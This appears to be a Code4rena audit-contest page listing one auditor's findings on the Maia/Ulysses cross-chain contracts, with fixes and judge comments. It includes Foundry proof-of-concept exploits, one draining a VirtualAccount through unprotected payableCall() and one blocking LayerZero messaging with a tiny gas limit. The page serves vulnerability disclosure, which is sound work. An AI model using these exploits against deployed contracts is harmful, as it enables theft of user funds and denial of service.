Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 18/175
Findings: 4
Award: $852.82
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85
VirtualAccount
allows user to manage assets and perform cross-chain transactions with dApps using call()
and payableCall()
while maintaining user balance in the virtual account for accounting purposes. Access control is required via requiresApprovedCaller
modifier to ensure only the account holder (or approved router on behalf of user) can control the VirtualAccount
.
However, VirtualAccount.payableCall()
is lacking the requiresApprovedCaller
modifier for access control, allowing public access to all the VirtualAccount
.
//@audit missing requiresApprovedCaller modifier function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) { uint256 valAccumulator; uint256 length = calls.length; returnData = new bytes[](length); PayableCall calldata _call; for (uint256 i = 0; i < length;) { _call = calls[i]; uint256 val = _call.value; // Humanity will be a Type V Kardashev Civilization before this overflows - andreas // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256 unchecked { valAccumulator += val; } bool success; if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData); if (!success) revert CallFailed(); unchecked { ++i; } } // Finally, make sure the msg.value = SUM(call[0...i].value) if (msg.value != valAccumulator) revert CallFailed(); }
Lack of access control will allow anyone to drain all the VirtualAccount
balances.
First add the following import first to RootTest.t.sol
.
import {VirtualAccount} from "@omni/VirtualAccount.sol"; import {PayableCall} from "@omni/interfaces/IVirtualAccount.sol";
Then add the following test cases to RootTest.t.sol
. It ahows that the attacker is able to transfer out tokens using payableCall(), which does not have access control.
function testPeakboltVirtualAccountPayableCall() public { address _user = address(this); uint256 _amount = 10 ether; uint256 _deposit = 5 ether; uint256 _amountOut = 3 ether; uint256 _depositOut = 3 ether; // Set up testAddLocalTokenArbitrum(); // Prepare data bytes memory packedData; { Multicall2.Call[] memory calls = new Multicall2.Call[](1); // Mock Omnichain dApp call calls[0] = Multicall2.Call({ target: newArbitrumAssetGlobalAddress, callData: abi.encodeWithSelector(bytes4(0xa9059cbb), mockApp, 0 ether) }); // Output Params OutputParams memory outputParams = OutputParams(_user, newArbitrumAssetGlobalAddress, _amountOut, _depositOut); // RLP Encode Calldata bytes memory data = abi.encode(calls, outputParams, rootChainId); // Pack FuncId packedData = abi.encodePacked(bytes1(0x02), data); } // Get some gas. hevm.deal(_user, 1 ether); if (_amount - _deposit > 0) { // Assure there is enough balance for mock action hevm.startPrank(address(rootPort)); ERC20hTokenRoot(newArbitrumAssetGlobalAddress).mint(_user, _amount - _deposit, rootChainId); hevm.stopPrank(); arbitrumMockToken.mint(address(arbitrumPort), _amount - _deposit); } // Mint Underlying Token. if (_deposit > 0) arbitrumMockToken.mint(_user, _deposit); // Prepare deposit info DepositInput memory depositInput = DepositInput({ hToken: address(newArbitrumAssetGlobalAddress), token: address(arbitrumMockToken), amount: _amount, deposit: _deposit }); console2.log("BALANCE BEFORE:"); console2.log("arbitrumMockToken Balance:", MockERC20(arbitrumMockToken).balanceOf(_user)); console2.log( "newArbitrumAssetGlobalAddress Balance:", MockERC20(newArbitrumAssetGlobalAddress).balanceOf(_user) ); // Call Deposit function hevm.startPrank(_user); arbitrumMockToken.approve(address(arbitrumPort), _deposit); ERC20hTokenRoot(newArbitrumAssetGlobalAddress).approve(address(rootPort), _amount - _deposit); arbitrumMulticallBridgeAgent.callOutSignedAndBridge{value: 1 ether}( payable(_user), packedData, depositInput, GasParams(0.5 ether, 0.5 ether), true ); hevm.stopPrank(); // Test If Deposit was successful testCreateDepositSingle( arbitrumMulticallBridgeAgent, uint32(1), _user, address(newArbitrumAssetGlobalAddress), address(arbitrumMockToken), _amount, _deposit, GasParams(0.05 ether, 0.05 ether) ); //console2.log("DATA"); //console2.log(_amount); //console2.log(_deposit); //console2.log(_amountOut); //console2.log(_depositOut); address userAccount = address(RootPort(rootPort).getUserAccount(_user)); //console2.log("LocalPort Balance:", MockERC20(arbitrumMockToken).balanceOf(address(arbitrumPort))); //console2.log("Expected:", _amount - _deposit + _deposit - _depositOut); require( MockERC20(arbitrumMockToken).balanceOf(address(arbitrumPort)) == _amount - _deposit + _deposit - _depositOut, "LocalPort tokens" ); //console2.log("RootPort Balance:", MockERC20(newArbitrumAssetGlobalAddress).balanceOf(address(rootPort))); // console2.log("Expected:", 0); SINCE ORIGIN == DESTINATION == ARBITRUM require(MockERC20(newArbitrumAssetGlobalAddress).balanceOf(address(rootPort)) == 0, "RootPort tokens"); //console2.log("User Balance:", MockERC20(arbitrumMockToken).balanceOf(_user)); //console2.log("Expected:", _depositOut); require(MockERC20(arbitrumMockToken).balanceOf(_user) == _depositOut, "User tokens"); //console2.log("User Global Balance:", MockERC20(newArbitrumAssetGlobalAddress).balanceOf(_user)); //console2.log("Expected:", _amountOut - _depositOut); require( MockERC20(newArbitrumAssetGlobalAddress).balanceOf(_user) == _amountOut - _depositOut, "User Global tokens" ); //console2.log("User Account Balance:", MockERC20(newArbitrumAssetGlobalAddress).balanceOf(userAccount)); //console2.log("Expected:", _amount - _amountOut); require( MockERC20(newArbitrumAssetGlobalAddress).balanceOf(userAccount) == _amount - _amountOut, "User Account tokens" ); //--------------- attacker access VirtualAccount and transfer out tokens using payableCall() -------------- address _attacker = address(1); console2.log("Attacker Account Balance (BEFORE):", MockERC20(newArbitrumAssetGlobalAddress).balanceOf(_attacker)); hevm.startPrank(_attacker); VirtualAccount account = VirtualAccount(payable(userAccount)); PayableCall[] memory payableCalls = new PayableCall[](1); payableCalls[0] = PayableCall({ target: newArbitrumAssetGlobalAddress, callData: abi.encodeWithSelector(bytes4(0xa9059cbb), _attacker, 1 ether), value: 0 }); account.payableCall(payableCalls); console2.log("Attacker Account Balance (AFTER):", MockERC20(newArbitrumAssetGlobalAddress).balanceOf(_attacker)); hevm.stopPrank(); }
Add requiresApprovedCaller
modifier to VirtualAccount.payableCall()
.
Access Control
#0 - c4-pre-sort
2023-10-08T14:29:13Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:56:16Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:30:59Z
alcueca marked the issue as satisfactory
🌟 Selected for report: Tendency
Also found by: QiuhaoLi, peakbolt, rvierdiiev
787.0241 USDC - $787.02
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L938-L948
ArbitrumBranchBridgeAgent
is able to perform signed callout such as callOutSignedAndBridge()
with _hasFallbackToggled = true
. That means there is a possibility that RootBridgeAgent._performFallbackCall()
will be triggered to perform a fallback and allow user to redeem their deposit.
However, RootBridgeAgent._performFallbackCall()
does not handle the case for ArbitrumBranch (which is on the same root chain) and performs a actual cross chain message using ILayerZeroEndpoint(lzEndpointAddress).send()
as shown below. It should instead check _dstChainId != localChainId
before that, and then perform a revert when _dstChainId == localChainId
.
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L938-L948
function _performFallbackCall(address payable _refundee, uint32 _depositNonce, uint16 _dstChainId) internal { //Sends message to LayerZero messaging layer ILayerZeroEndpoint(lzEndpointAddress).send{value: address(this).balance}( _dstChainId, getBranchBridgeAgentPath[_dstChainId], abi.encodePacked(bytes1(0x04), _depositNonce), payable(_refundee), address(0), "" ); }
User will waste native token performing a cross chain message call, which could be saved when the transaction can be reverted.
Add (_dstChainId != localChainId)
check and perform a revert on the else case as shown below.
function _performFallbackCall(address payable _refundee, uint32 _depositNonce, uint16 _dstChainId) internal { // Check if call to remote chain if (_dstChainId != localChainId) { //Sends message to LayerZero messaging layer ILayerZeroEndpoint(lzEndpointAddress).send{value: address(this).balance}( _dstChainId, getBranchBridgeAgentPath[_dstChainId], abi.encodePacked(bytes1(0x04), _depositNonce), payable(_refundee), address(0), "" ); } else { revert ExecutionFailure(); }
Invalid Validation
#0 - c4-pre-sort
2023-10-15T05:46:41Z
0xA5DF marked the issue as duplicate of #184
#1 - c4-pre-sort
2023-10-15T05:46:45Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:14:00Z
alcueca marked the issue as duplicate of #710
#3 - c4-judge
2023-10-26T11:15:33Z
alcueca marked the issue as satisfactory
🌟 Selected for report: LokiThe5th
Also found by: 0xadrii, 33BYTEZZZ, 3docSec, Bauchibred, DevABDee, Koolex, Kow, Limbooo, QiuhaoLi, Tendency, ast3ros, ihtishamsudo, kodyvim, lsaudit, neumo, peakbolt, windhustler
40.0102 USDC - $40.01
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L32 https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L45
Both RootBridgeAgent
and BranchBridgeAgent
interacts with the ILayerZeroEndpoint
using the send() and lzReceive() to send and receive cross chain messages via LayerZero. LayerZero endpoint uses a blocking pattern to ensure ordered delivery of message. That means the endpoint will store messages with unhandled error/exception and block the message queue until the stored message has been retried successfully.
There could be unexpected scenarios where there is a logical error with the failed message, which will always fail and cannot be retried successfully. Due to that it is important to have a mechanism to force eject such messages to unblock the message queue using ILayerZeroApplicationConfig.forceResumeReceive()
(see https://layerzero.gitbook.io/docs/evm-guides/best-practice).
So the issue is that RootBridgeAgent
and BranchBridgeAgent
do not implement the forceResumeReceive()
interface. That means there is no mean to unblock the message queue when it is blocked by a failed message that fails permanently.
Without forceResumeReceive()
, there is no mean to resume the cross chain messaging between the bridge agents, causing the Ulysses protocol to be permanently frozen.
Implement forceResumeReceive()
for both RootBridgeAgent
and BranchBridgeAgent
according to https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/lzApp/LzApp.sol#L96-L98.
DoS
#0 - c4-pre-sort
2023-10-11T11:24:44Z
0xA5DF marked the issue as duplicate of #875
#1 - c4-pre-sort
2023-10-11T11:24:53Z
0xA5DF marked the issue as sufficient quality report
#2 - alcueca
2023-10-22T04:51:00Z
Misses the attack angle via underfunded transactions or other malicious revert that makes it a valid DoS
#3 - c4-judge
2023-10-22T04:51:05Z
alcueca marked the issue as satisfactory
#4 - c4-judge
2023-10-22T04:51:10Z
alcueca marked the issue as partial-50
#5 - c4-judge
2023-10-22T04:56:26Z
alcueca marked the issue as duplicate of #399
🌟 Selected for report: LokiThe5th
Also found by: 0xadrii, 33BYTEZZZ, 3docSec, Bauchibred, DevABDee, Koolex, Kow, Limbooo, QiuhaoLi, Tendency, ast3ros, ihtishamsudo, kodyvim, lsaudit, neumo, peakbolt, windhustler
40.0102 USDC - $40.01
https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L776 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L829 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L921
BranchBridgeAgent
and RootBridgeAgent
allow users to provide _gParams.gasLimit
to impose a gas limit for the lzReceive()
on the destination chain.
However, an attacker can abuse this by setting a low gas limit that will cause lzReceive()
to revert due to OOG. As LayerZero uses a blocking pattern, that will cause the messaging layer to be blocked until the failed message is retried successfully to clear the queue.
https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L765-L778
function _performCall(address payable _refundee, bytes memory _payload, GasParams calldata _gParams) internal virtual { //Sends message to LayerZero messaging layer ILayerZeroEndpoint(lzEndpointAddress).send{value: msg.value}( rootChainId, rootBridgeAgentPath, _payload, payable(_refundee), address(0), //@audit gasLimit can be too low and cause lzReceive to revert due to OOG abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.remoteBranchExecutionGas, rootBridgeAgentAddress) ); }
When a cross chain message is received, LayerZero Endpoint
is the caller to RootBridgeAgent.lzReceive()
. So when lzReceive()
reverts due to OOG, it will store the failed message in storedPayload[]
for subsequent retry. As long as there is a failed message in storedPayload[]
, it will block the messaging layer until it is cleared.
https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/Endpoint.sol#L114-L124
//@audit this will block the messaging layer until failed message is cleared // block if any message blocking StoredPayload storage sp = storedPayload[_srcChainId][_srcAddress]; require(sp.payloadHash == bytes32(0), "LayerZero: in message blocking"); //@audit when lzReceive() revert, the try/catch will store the failed message for subsequent retry. try ILayerZeroReceiver(_dstAddress).lzReceive{gas: _gasLimit}(_srcChainId, _srcAddress, _nonce, _payload) { // success, do nothing, end of the message delivery } catch (bytes memory reason) { // revert nonce if any uncaught errors/exceptions if the ua chooses the blocking mode storedPayload[_srcChainId][_srcAddress] = StoredPayload(uint64(_payload.length), _dstAddress, keccak256(_payload)); emit PayloadStored(_srcChainId, _srcAddress, _dstAddress, _nonce, _payload, reason); }
The messaging layer can be blocked by an attacker using a callout with low gas limit. Even though the messaging layer can be unblocked with a successful retry, the attacker can still backrun that and block the messaging again, causing it to be a permanent DoS.
Add the following test to RootForkTest.t.sol and run it with -vvvv to see the revert errors as follows.
forge test -vvvv --match-test "testPeakboltAddLocalToken()"
function testPeakboltDoSWithOutOfGas() public { switchToLzChain(avaxChainId); vm.deal(address(this), 10 ether); // This call will revert at RootBridgeAgent::lzReceive() due to low gas limit // It will cause LayerZero Endpoint to store the message for retry and block the messaging layer avaxCoreRouter.addLocalToken{value: 10 ether}(address(avaxMockAssetToken), GasParams(10, 0)); switchToLzChain(rootChainId); // switch back to AVAX switchToLzChain(avaxChainId); vm.deal(address(this), 10 ether); // this will fail as messaging layer is blocked until the failed message is retried successfully. // even after the messaging layer is unblocked, attacker can still repeat the above attack again. avaxCoreRouter.addLocalToken{value: 10 ether}(address(avaxMockAssetToken), GasParams(2_000_000, 0)); switchToLzChain(rootChainId); }
Impose a minimum value for _gParams.gasLimit
that is sufficient to reach and execute lzReceiveNonBlocking()
within lzReceive()
. That will cause the OOG revert to be contained within lzReceive()
.
Invalid Validation
#0 - c4-pre-sort
2023-10-07T13:18:11Z
0xA5DF marked the issue as duplicate of #785
#1 - c4-pre-sort
2023-10-08T14:53:29Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-22T04:55:09Z
alcueca changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-10-22T05:17:57Z
alcueca marked the issue as satisfactory
🌟 Selected for report: MrPotatoMagic
Also found by: 0xAadi, 0xDING99YA, 0xDemon, 0xRstStn, 0xSmartContract, 0xStriker, 0xWaitress, 0xbrett8571, 0xfuje, 0xsagetony, 0xsurena, 33BYTEZZZ, 3docSec, 7ashraf, ABA, ABAIKUNANBAEV, Aamir, Audinarey, Bauchibred, Black_Box_DD, Daniel526, DanielArmstrong, DanielTan_MetaTrust, Dinesh11G, Eurovickk, Franklin, Inspecktor, John, Jorgect, Joshuajee, K42, Kek, Koolex, LokiThe5th, MIQUINHO, Myd, NoTechBG, QiuhaoLi, SanketKogekar, Sathish9098, Sentry, Soul22, SovaSlava, Stormreckson, Tendency, Topmark, Udsen, V1235816, Viktor_Cortess, Viraz, Yanchuan, ZdravkoHr, Zims, albahaca, albertwh1te, alexweb3, alexxander, ast3ros, audityourcontracts, bareli, bin2chen, bronze_pickaxe, c0pp3rscr3w3r, cartlex_, castle_chain, chaduke, debo, ether_sky, gumgumzum, imare, its_basu, jaraxxus, jasonxiale, josephdara, kodyvim, ladboy233, lanrebayode77, lsaudit, mert_eren, minhtrng, n1punp, nadin, niroh, nmirchev8, orion, peakbolt, perseverancesuccess, pfapostol, ptsanev, rvierdiiev, saneryee, shaflow2, te_aut, terrancrypt, twcctop, unsafesol, ustas, versiyonbir, windhustler, yongskiws, zhaojie, ziyou-
25.6785 USDC - $25.68
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L778-L793
Ulysses allows users to bridge deposit and remotely interact with dApps on the root chain by performing a callOutSignedAndBridge()
from branch routers. The user can set _hasFallbackToggled = true
, which will perform a fallback call to the source chain when the remote dApps transactions fails (see code below). The fallback call will make the deposit available for redemption on the source chain.
However, it is possible for the dApp remote transactions to consumes all the forwarded gas and revert with an out-of-gas error. When that happens, there will be insufficient gas remaining to trigger the fallback call, causing it to fail as well.
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L778-L793
function _execute( bool _hasFallbackToggled, uint32 _depositNonce, address _refundee, bytes memory _calldata, uint16 _srcChainId ) private { //Update tx state as executed executionState[_srcChainId][_depositNonce] = STATUS_DONE; //@audit this is used to call MulticallRootRouter -> VirtualAccount to interact with dApp on root chain //Try to execute the remote request (bool success,) = bridgeAgentExecutorAddress.call{value: address(this).balance}(_calldata); //@audit if the dApp consumes all forwarded gas in the above call(), it will cause the following fallback to fail due to OOG. //Update tx state if execution failed if (!success) { //Read the fallback flag. if (_hasFallbackToggled) { // Update tx state as retrieve only executionState[_srcChainId][_depositNonce] = STATUS_RETRIEVE; // Perform the fallback call _performFallbackCall(payable(_refundee), _depositNonce, _srcChainId); } else { // No fallback is requested revert allowing for retry. revert ExecutionFailure(); } } }
First, lets calculate the remaining gas when the issue occurs:
if we look at the execution path for branchBridgeAgent.callOutSignedAndBridge()
, it will be as follows:
Endpoint --> RootBridgeAgent.lzReceive() --> RootBridgeAgent.lzReceiveNonBlocking() --> bridgeAgentExecutorAddress.call() --> RootBridgeAgentExecutor.executeSignedWithDeposit() -->MulticallRootRouter.executeSignedDepositSingle() --> VirtualAccount.call()
When receiving a cross chain message, LayerZero Endpoint
will trigger the 1st external call RootBridgeAgent.lzReceive()
with a _gasLimit
as shown in Endpoint.sol#L118.
So at the 1st external call RootBridgeAgent.lzReceive()
in RootBridgeAgent.sol#L423, it will be forwarded with a gas value of 63/64 * _gasLimit.
Following that, the 2nd external call lzReceiveNonBlocking()
in RootBridgeAgent.sol#L434, will be forwarded 63/64 * 63/64 *_gasLimit.
At the 3rd external call bridgeAgentExecutorAddress.call() --> RootBridgeAgentExecutor.executeSignedWithDeposit()
in RootBridgeAgent.sol#L779, it will be forwarded a gas of 63/64 * 63/64 * 63/64 *_gasLimit.
Now if dApp interaction at the subsequent call VirtualAccount.call()
uses up all the gas, it will revert at the 3rd external call, triggering the fallback. When that happens, it will have 1/64 * 63/64 * 63/64 *_gasLimit for _performFallbackCall()
.
Assuming a generous _gasLimit of 2M (a uniswapV3 swap is ~200k), the remaining gas for _performFallbackCall()
= 1/64 * 63/64 * 63/64 * 2M = 30,281.
Now, I have measured the gas required for _performFallbackCall()
by adding two lines (see below) and running testRetrySettlementTriggerFallback()
in RootForkTest.t.sol
.
It is estimated to require around ~124,036 gas, which is much higher than what is left when the issue occurs.
https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L730-L753
function _execute(bool _hasFallbackToggled, uint32 _settlementNonce, address _refundee, bytes memory _calldata) private { //Update tx state as executed executionState[_settlementNonce] = STATUS_DONE; //Try to execute the remote request (bool success,) = bridgeAgentExecutorAddress.call{value: address(this).balance}(_calldata); //@audit add this 1st line to compute gas required for _performFallbackCall() uint256 gasRemaining = gasleft(); //Update tx state if execution failed if (!success) { //Read the fallback flag and perform the fallback call if necessary. If not, allow for retrying deposit. if (_hasFallbackToggled) { // Update tx state as retrieve only executionState[_settlementNonce] = STATUS_RETRIEVE; // Perform fallback call _performFallbackCall(payable(_refundee), _settlementNonce); } else { // If no fallback is requested revert allowing for settlement retry. revert ExecutionFailure(); } } //@audit add this 2nd line to compute gas required for _performFallbackCall() console.log("gas required for fallback = %d", gasRemaining - gasleft());
The issue will allow the interacted dApp to consume all gas and cause the fallback to fail. This leads to loss of gas/native tokens for the users, as the user need to perform a retrieve call to redeem the deposit.
First add the following for loop to simulate a dApp using up all the forwarded gas and cause the bridgeAgentExecutorAddress.call()
to fail and trigger the fallback.
Then run testRetrySettlementTriggerFallback()
in RootForkTest.t.sol
, which will show that the fallback will also fail due to out-of-gas error.
https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgentExecutor.sol#L71
function executeWithSettlement(address _recipient, address _router, bytes calldata _payload) external payable onlyOwner { //@audit insert the following lines to consume all forwarded gas for(uint256 i=0; i<10000; i++) { assembly { let temp := mload(9999999999999999) } }
Note, even though we use BranchBridgeAgentExecutor
and BranchBridgeAgent
due to how the current test case is constructed, the same issue applies to RootBridgeAgent
and RootBridgeAgentExecutor
as they are similiar in code.
Set a gas limit for the bridgeAgentExecutorAddress.call() at RootBridgeAgent.sol#L779 to save some gas for fallback call as shown in the example below.
//@audit set a gas limit for the forwarded gas, to save some for fallback call (bool success,) = bridgeAgentExecutorAddress.call{gas: gasleft()-200000, value: address(this).balance}(_calldata);
DoS
#0 - c4-pre-sort
2023-10-13T15:57:48Z
0xA5DF marked the issue as duplicate of #430
#1 - c4-pre-sort
2023-10-13T15:57:54Z
0xA5DF marked the issue as low quality report
#2 - 0xA5DF
2023-10-13T15:58:11Z
Didn't fully identify the impact as the primary issue
#3 - c4-judge
2023-10-26T10:39:26Z
alcueca changed the severity to QA (Quality Assurance)
#4 - c4-judge
2023-10-26T10:39:31Z
alcueca marked the issue as grade-a
#5 - peakbolt
2023-10-31T08:03:10Z
I would like to explain that this issue is valid and should not be marked a duplicate of #430 as it describes a different attack vector and impact.
The attack vector described in 422 is the depletion of forwarded gas by the interacted external dApp, which is different from the return bomb by the trusted contract described in 430. As the interacted dApp is external and not part of Maia Ulysses, it could potentially use up all the forwarded gas, whether intentionally or unintentionally.
The impact in 422 is the DoS of the fallback feature, which is not mentioned in 430. The purpose of the fallback (when enabled by user), is to allow redemption at the source chain when the cross chain multicall operation fails due to errors/reverts. And this issue shows that the fallback feature will not work as expected when the dApp consumed all forwarded gas causing an revert with out-of-gas error. That will then require users to waste gas token to send another callout to retrieve the deposit.
This issue will occur even when it is not an user error. One may argue that the users would have tried the transactions in a fork first to avoid this issue, but that would not provide 100% guarantee as there could be unexpected errors (e.g. errors due to re-ordering of transactions, due to MEV opportunities). And handling unexpected errors is precisely what the fallback feature is built for.
And to add, it is also not a duplicate of 785 and 399. That is because the root cause, impact and attack vector are completely different. To put it simply, even after applying the fix in 785/399, this issue will still occur and the fix is totally different (which is to set a gas limit and reserve sufficient gas for the fallback).
#6 - alcueca
2023-11-06T13:02:00Z
After discussion with the sponsor, I agree that this is not a duplicate of #430, but given the limited impact (DoS of a single feature, which has an easy alternative for users), the severity remains QA.